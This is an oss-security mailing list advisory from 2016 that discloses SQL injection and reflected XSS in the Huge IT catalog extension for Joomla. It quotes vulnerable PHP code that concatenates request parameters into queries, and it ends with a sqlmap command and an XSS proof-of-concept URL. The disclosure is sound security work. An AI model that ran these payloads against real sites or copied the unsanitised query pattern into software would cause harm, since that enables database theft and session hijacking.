[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] SQLi and Reflected XSS in Huge IT catalog extension v1.0.4 for Joomla
From: "Larry W. Cashdollar" <larry0 () me ! com>
Date: 2016-07-28 17:57:01
Message-ID: 3DF58940-08A7-4235-B4BD-62A4210D4B0E () me ! com
[Download RAW message or body]
Title: SQLi and Reflected XSS in Huge IT catalog extension v1.0.4 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-17
Download Site: http://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/catalog
Vendor: www.huge-it.com
Vendor Notified: 2015-07-17
Vendor Contact: info@huge-it.com
Description: This extension is designed to help you display the products in the most attractive \
way. Joomla Catalog Extension has a stylish design with convenient construction for displaying \
the product to the customers. Vulnerability:
The attacker must be logged in with at least manager level access or access to the \
administrative panel to exploit this vulnerability.
Reflected XSS in file ./views/submissions/tmpl/default.php via message_id parameter:
825: <input type="hidden" id="message_id" value ="<?php echo $_GET['message_id']; ?>" />
SQL Injection
in file ./models/submissions.php via id parameter
59- $query = $db->getQuery(true);
60- $id = JRequest::getVar('message_id');
61- $this-> updateReadInfo($id);
62: $query->select('*,#__huge_it_catalog_products.name as product_name, \
#__huge_it_catalog_asc_seller.id as message_id'); 63- \
$query->from('#__huge_it_catalog_asc_seller,#__huge_it_catalog_products'); 64- \
$query->where('#__huge_it_catalog_asc_seller.product_id = #__huge_it_catalog_products.id and \
#__huge_it_catalog_asc_seller.id = "'.$id.'"'); 65- $db->setQuery($query);
in file ./models/comment.php via projectId parameter:
56- $db = JFactory::getDBO();
57- $id = JRequest::getVar('projectId');
58- $query = $db->getQuery(true);
59: $query->select('*,#__huge_it_catalog_reviews.id as comId, \
#__huge_it_catalog_reviews.name as author_name, #__huge_it_catalog_products.name as \
product_name') 60- ->from('#__huge_it_catalog_reviews, \
#__huge_it_catalog_products') 61- ->where('#__huge_it_catalog_reviews.product_id = \
#__huge_it_catalog_products.id and #__huge_it_catalog_products.id = "'.$id.'"'); 62- \
$db->setQuery($query);
in file ./models/rating.php via projectId parameter:
55- return $results;
56- }
57-
58- public function getRatingById() {
59- $db = JFactory::getDBO();
60: $id = JRequest::getVar('projectId');
61- $query = $db->getQuery(true);
62- $query->select('*,#__huge_it_catalog_rating.id as ratId')
63- ->from('#__huge_it_catalog_rating, #__huge_it_catalog_products')
64- ->where('#__huge_it_catalog_rating.prod_id = #__huge_it_catalog_products.id and \
#__huge_it_catalog_products.id = "'.$id.'"'); 65- $db->setQuery($query);
in file ./models/catalog.php via id parameter:
45: $id_cat = JRequest::getVar('id');
46- $query = $db->getQuery(true);
47- $query->select('#__huge_it_catalog_products.name as name,'
48- . '#__huge_it_catalog_products.id ,'
49- . '#__huge_it_catalogs.name as catName,'
50- . 'catalog_id,#__huge_it_catalog_products.description as \
productDescription,#__huge_it_catalog_products.parameters as \
productParameters,#__huge_it_catalogs.description,image_url,sl_url,sl_type,price,market_price,si \
ngle_product_url_type,single_product_url_type,#__huge_it_catalog_products.link_target as \
productLinkTarget,#__huge_it_catalog_products.ordering,#__huge_it_catalog_products.published,published_in_sl_width');
51- $query->from(array('#__huge_it_catalogs' => '#__huge_it_catalogs', \
'#__huge_it_catalog_products' => '#__huge_it_catalog_products')); 52- \
$query->where('#__huge_it_catalogs.id = catalog_id')->where('catalog_id=' . $id_cat); 53- \
$query->order('ordering asc'); 54-
55- $db->setQuery($query);
--
63: $id_cat = JRequest::getVar('id');
64- $query = $db->getQuery(true);
65- $query->select('*');
66- $query->from('#__huge_it_catalog_products');
67- $query->where('catalog_id=' . $id_cat);
68- $db->setQuery($query);
69- $results = $db->loadObjectList();
70- return $results;
71- }
72-
73- public function save($data) {
--
121: $id_cat = JRequest::getVar('id');
122- $query = $db->getQuery(true);
123- $query->update('#__huge_it_catalogs')->set('name ="' . $name . '"')->where('id="' . \
$id_cat . '"'); 124- $db->setQuery($query);
125- $db->execute();
126- }
127-
128- function selectStyle() {
129- $db = JFactory::getDBO();
130- $data = JRequest::get('post');
131- $name = $data['name'];
--
136: $id_cat = JRequest::getVar('id');
137- $query = $db->getQuery(true);
138-
139- $query->update('#__huge_it_catalogs')
140- ->set('name ="' . $name . '"')
141- ->set('catalog_list_effects_s ="'.$catalog_effects_list.'"')
142- ->set('pagination_type ="'.$pagination_type.'"')
143- ->set('count_into_page ="'.$count_into_page.'"')
144- ->set('categories ="'.$allCategories.'"')
145- ->where('id="' . $id_cat . '"');
146- $db->setQuery($query);
--
via removeslide parameter:
208: $id_cat = JRequest::getVar('removeslide');
209: $id = JRequest::getVar('id');
210- $db = JFactory::getDBO();
211- $query = $db->getQuery(true);
212- $query->delete('#__huge_it_catalog_products')->where('id =' . $id_cat);
213- $db->setQuery($query);
214- $db->execute();
CVE-2016-1000119 2016-1000120
Exploit Code:
• SQLi:
•
• $ sqlmap --load-cookies=cookies.txt -u \
"http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=*" --dbms \
mysql •
• XSS:
•
• http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=1--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E
Advisory: http://www.vapidlabs.com/advisory.php?v=167=
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic